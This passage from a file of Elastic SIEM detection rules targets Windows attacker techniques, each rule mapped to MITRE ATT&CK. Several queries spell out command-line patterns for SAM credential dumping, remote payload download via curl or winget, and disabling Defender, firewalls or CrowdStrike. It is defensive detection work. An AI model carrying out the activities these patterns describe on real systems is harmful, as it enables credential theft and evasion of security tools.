ATT&CKÂ®","technique":[{"id":"T1018","name":"Remote System Discovery","reference":""},{"id":"T1482","name":"Domain Trust Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Administrative shares are hidden network shares created by Microsoftâ€™s Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1c3ed132-2282-97ed-1fe7-a78b8adbd47d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Disable Administrative Share Creation at Startup","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\LanmanServer\\\\Parameters\\\\* AND winlog.event_data.TargetObject:(*AutoShareWks OR *AutoShareServer) AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries can abuse of C:\\Windows\\System32\\gatherNetworkInfo.vbs script along with cscript.exe to gather information about the target Author: blueteamer8699. License: ","enabled":false,"false_positives":["Administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"575dce0c-8139-4e30-9295-1ee75969f7fe","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"GatherNetworkInfo.vbs Script Usage","query":"(process.command_line:*cscript.exe* AND process.command_line:*gatherNetworkInfo.vbs*)","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries can abuse winget to download payloads remotely and execute them without touching disk. Winget will be included by default in Windows 10 and is already available in Windows 10 insider programs. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe's, msi, msix files later. Author: Sreeman, Florian Roth, Frack113. License: ","enabled":false,"false_positives":["Admin activity installing packages not in the official Microsoft repo. Winget probably won't be used by most users."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"313d6012-51a0-4d93-8dfc-de8553239e25","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Monitoring Winget For LOLbin Execution","query":"(process.command_line:*winget* AND process.command_line:*install* AND process.command_line:(*\\-m\\ * OR *\\-\\-manifest*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries can abuse wuauclt.exe (Windows Update client) to run code execution by specifying an arbitrary DLL. Author: Sreeman. License: ","enabled":false,"false_positives":["Wuaueng.dll which is a module belonging to Microsoft Windows Update."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ba1bb0cb-73da-42de-ad3a-de10c643a5d0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Monitoring Wuauclt.exe For Lolbas Execution Of DLL","query":"(process.command_line:/(?i)wuauclt\\.exe.*\\/UpdateDeploymentProvider.*\\/Runhandlercomserver/ AND (NOT (process.command_line:(*wuaueng.dll* OR *UpdateDeploymentProvider.dll\\ \\/ClassId*))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM. Author: Janantha Marasinghe. License: ","enabled":false,"false_positives":["This may have false positives on hosts where Virtualbox is legitimately being used for operations"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"09a870bb-24e6-99ae-4b64-eb57f9e3b0d2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Detect Virtualbox Driver Installation OR Starting Of VMs","query":"(process.command_line:(*VBoxRT.dll,RTR3Init* OR *VBoxC.dll* OR *VBoxDrv.sys*) OR process.command_line:(*startvm* OR *controlvm*))","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1564","T1564"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1564","name":"Hide Artifacts","reference":""},{"id":"T1564","name":"Hide Artifacts","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders Author: frack113. License: ","enabled":false,"false_positives":["Scripts created by developers and admins","Administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"542b59a0-e79d-8885-791e-825479c51a65","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Recursif Takeown","query":"(process.executable:*\\\\takeown.exe AND process.command_line:*\\/f\\ * AND process.command_line:*\\/r*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1222"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1222","name":"File and Directory Permissions Modification","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later. Author: Sreeman. License: ","enabled":false,"false_positives":["Administrative scripts (installers)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"21dd6d38-2b18-4453-9404-a0fe4a0cc288","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Curl Start Combination","query":"(process.command_line:*curl* AND process.command_line:*\\ start\\ *)","meta":{"from":"1m"},"severity":"medium","tags":["T1105","T1218"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Adversaries can use the inbuilt expand utility to decompress cab files as seen in recent Iranian MeteorExpress attack Author: Bhabesh Raj. License: ","enabled":false,"false_positives":["System administrator Usage"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"29214a41-02eb-4068-26f6-8f882b744b23","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Cabinet File Expansion","query":"(process.executable:*\\\\expand.exe AND process.command_line:(*.cab* OR *\\/F\\:* OR *\\-F\\:* OR *C\\:\\\\ProgramData\\\\* OR *C\\:\\\\Public\\\\* OR *\\\\AppData\\\\Local\\\\Temp\\\\* OR *\\\\AppData\\\\Roaming\\\\Temp\\\\*))","meta":{"from":"1m"},"severity":"medium","tags":["T1218"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Adversaries may modify system firewalls in order to bypass controls limiting network usage Author: frack113. License: ","enabled":false,"false_positives":["Legitimate administration"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"347906f3-e207-4d18-ae5b-a9403d6bcdef","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Netsh Allow Group Policy on Microsoft Defender Firewall","query":"(process.executable:*\\\\netsh.exe AND process.command_line:*advfirewall* AND process.command_line:*firewall* AND process.command_line:*set* AND process.command_line:*rule* AND process.command_line:*group\\=* AND process.command_line:*new* AND process.command_line:*enable\\=Yes*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.\nWinlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"bbf180f9-cc58-d034-0800-0b68b4eff046","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Winlogon Notify Key Logon Persistence","query":"(winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\\logon AND winlog.event_data.Details:*.dll AND winlog.event_data.EventType:\"SetValue\")","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n Author: frack113. License: ","enabled":false,"false_positives":["Legitimate msiexec over networks"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8e5e38e4-5350-4c0b-895a-e872ce0dd54f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Msiexec Initiated Connection","query":"(winlog.event_data.Initiated:\"true\" AND process.executable:*\\\\msiexec.exe)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n Author: frack113. License: ","enabled":false,"false_positives":["Legitimate script"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3498ba2a-d8e0-2bae-d923-c87800372b92","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Msiexec Execute Arbitrary DLL","query":"((process.executable:*\\\\msiexec.exe AND process.command_line:*\\ \\/y*) AND (NOT ((process.command_line:(*\\\\MsiExec.exe\\\"\\ \\/Y\\ \\\"C\\:\\\\Program\\ Files\\\\Bonjour\\\\mdnsNSP.dll* OR *\\\\MsiExec.exe\\\"\\ \\/Y\\ \\\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Bonjour\\\\mdnsNSP.dll* OR *\\\\MsiExec.exe\\\"\\ \\/Y\\ \\\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Apple\\ Software\\ Update\\\\ScriptingObjectModel.dll* OR *\\\\MsiExec.exe\\\"\\ \\/Y\\ \\\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Apple\\ Software\\ Update\\\\SoftwareUpdateAdmin.dll*)))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n Author: frack113. License: ","enabled":false,"false_positives":["Legitim script"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"79a87aa6-e4bd-42fc-a5bb-5e6fbdcd62f5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspisious Msiexec Quiet Install","query":"(process.executable:*\\\\msiexec.exe AND process.command_line:*\\ \\/i* AND process.command_line:*\\ \\/q*)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may abuse Visual Basic (VB) for execution Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"23250293-eed5-4c39-b57a-841c8933a57d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Cscript Visual Basic Script Execution","query":"(process.executable:*\\\\cscript.exe AND process.command_line:*.vbs*)","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable. Author: Nikita Nazarov, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e13f668e-7f95-443d-98d2-1816a7648a7b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Detected Windows Software Discovery","query":"(process.executable:*\\\\reg.exe AND process.command_line:*query* AND process.command_line:*\\\\software\\\\* AND process.command_line:*\\/v* AND process.command_line:*svcversion*)","meta":{"from":"1m"},"severity":"medium","tags":["T1518"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1518","name":"Software Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored Author: frack113. License: ","enabled":false,"false_positives":["Unknow"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a29808fd-ef50-49ff-9c7a-59a9b040b404","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Registry Parse with Pypykatz","query":"(process.executable:(*\\\\pypykatz.exe OR *\\\\python.exe) AND process.command_line:*live* AND process.command_line:*registry*)","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored Author: frack113. License: ","enabled":false,"false_positives":["Unknow"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"038cd51c-3ad8-41c5-ba8f-5d1c92f3cc1e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Registry Dump of SAM Creds and Secrets","query":"(process.command_line:*\\ save\\ * AND process.command_line:(*HKLM\\\\sam* OR *HKLM\\\\system* OR *HKLM\\\\security*))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"164eda96-11b2-430b-85ff-6a265c15bf32","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Get Local Groups Information with WMIC","query":"(process.executable:*\\\\wmic.exe AND process.command_line:*\\ group*)","meta":{"from":"1m"},"severity":"low","tags":["T1069"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1069","name":"Permission Groups Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1c67a717-32ba-409b-a45d-0fb704a73a81","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Listing of Network Connections","query":"(process.command_line:*netstat* OR (process.command_line:*net\\ * AND (process.command_line:(*\\ use OR *\\ sessions) OR process.command_line:(*\\ use\\ * OR *\\ sessions\\ *))))","meta":{"from":"1m"},"severity":"low","tags":["T1049"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1049","name":"System Network Connections Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.\nThis may include things such as firewall rules and anti-viru\n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f127d590-3e2e-335f-7ffa-75529e25bccf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Security Software Discovery by Powershell","query":"(powershell.file.script_block_text:*get\\-process* AND powershell.file.script_block_text:*.Description* AND powershell.file.script_block_text:*\\-like* AND powershell.file.script_block_text:(*\\\"*virus*\\\"* OR *\\\"*carbonblack*\\\"* OR *\\\"*defender*\\\"* OR *\\\"*cylance*\\\"*))","meta":{"from":"1m"},"severity":"low","tags":["T1518"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1518","name":"Software Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation Author: frack113. License: ","enabled":false,"false_positives":["Legitimate python script"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"bef0bc5a-b9ae-425d-85c6-7b2d705980c6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Python Initiated Connection","query":"(winlog.event_data.Initiated:\"true\" AND process.executable:*python*)","meta":{"from":"1m"},"severity":"high","tags":["T1046"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1046","name":"Network Service Scanning","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation Author: frack113. License: ","enabled":false,"false_positives":["Network administator computeur"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f6ecd1cf-19b8-4488-97f6-00f0924991a3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Nmap Execution","query":"winlog.event_data.OriginalFileName:\"nmap.exe\"","meta":{"from":"1m"},"severity":"high","tags":["T1046"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1046","name":"Network Service Scanning","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network Author: frack113. License: ","enabled":false,"false_positives":["administrator, hotline ask to user"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"63332011-f057-496c-ad8d-d2b6afb27f96","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Tasklist Discovery Command","query":"(process.command_line:*tasklist* OR process.executable:\"C\\:\\\\Windows\\\\System32\\\\tasklist.exe\")","meta":{"from":"1m"},"severity":"low","tags":["T1057"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1057","name":"Process Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e0552b19-5a83-4222-b141-b36184bb8d79","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Obfuscated Command Line Using Special Unicode Characters","query":"process.command_line:(*Ã¢* OR *â‚¬* OR *Â£* OR *Â¯* OR *Â®* OR *Âµ* OR *Â¶*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may collect data stored in the clipboard from users copying information within or between applications. Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b1efda51-13f6-24cd-4909-0b91af33c42c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Use of CLIP","query":"winlog.event_data.OriginalFileName:\"clip.exe\"","meta":{"from":"1m"},"severity":"low","tags":["T1115"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1115","name":"Clipboard Data","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. \n Author: frack113. License: ","enabled":false,"false_positives":["Legitim script"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"379fa130-190e-4c3f-b7bc-6c8e834485f3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Windows Cmd Delete File","query":"((process.command_line:*del\\ * AND process.command_line:*\\/f*) OR (process.command_line:*rmdir* AND process.command_line:*\\/s* AND process.command_line:*\\/q*))","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery. Author: frack113. License: ","enabled":false,"false_positives":["Legitime usage"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"595fc19d-de23-4068-4ec1-da74654e6a86","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Deletes Backup Files","query":"(process.executable:*cmd.exe AND file.path:(*.VHD OR *.bac OR *.bak OR *.wbcat OR *.bkf OR *.set OR *.win OR *.dsk))","meta":{"from":"1m"},"severity":"medium","tags":["T1490"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1490","name":"Inhibit System Recovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources.\nData destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives\n Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4b046706-5789-4673-b111-66f25fe99534","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Overwrite Deleted Data with Cipher","query":"(process.executable:*\\\\cipher.exe AND process.command_line:*\\ \\/w\\:*)","meta":{"from":"1m"},"severity":"medium","tags":["T1485"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1485","name":"Data Destruction","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cbd2cfcd-87bd-8bbe-06a7-d15e27c00182","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Disable Microsoft Defender Firewall via Registry","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\* AND winlog.event_data.TargetObject:*\\\\EnableFirewall AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3f82bc59-4bfb-e3b6-d940-3e7a41f327e1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Remove Windows Defender Definition Files","query":"(winlog.event_data.OriginalFileName:\"MpCmdRun.exe\" AND process.command_line:*\\ \\-RemoveDefinitions* AND process.command_line:*\\ \\-All*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may disable security tools to avoid possible detection of their tools and activities by stopping antivirus service Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d70a497d-b73c-f9e5-5e87-e15cb7ec714c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Stop Or Remove Antivirus Service","query":"(process.command_line:(*Stop\\-Service\\ * OR *Remove\\-Service\\ *) AND process.command_line:(*\\ McAfeeDLPAgentService* OR *\\ Trend\\ Micro\\ Deep\\ Security\\ Manager* OR *\\ TMBMServer*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon Author: frack113. License: ","enabled":false,"false_positives":["Uninstall by admin"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"89266508-1c44-23bf-13bb-a3fa72ed6ccf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Uninstall Crowdstrike Falcon","query":"(process.command_line:*\\\\WindowsSensor.exe* AND process.command_line:*\\ \\/uninstall* AND process.command_line:*\\ \\/quiet*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
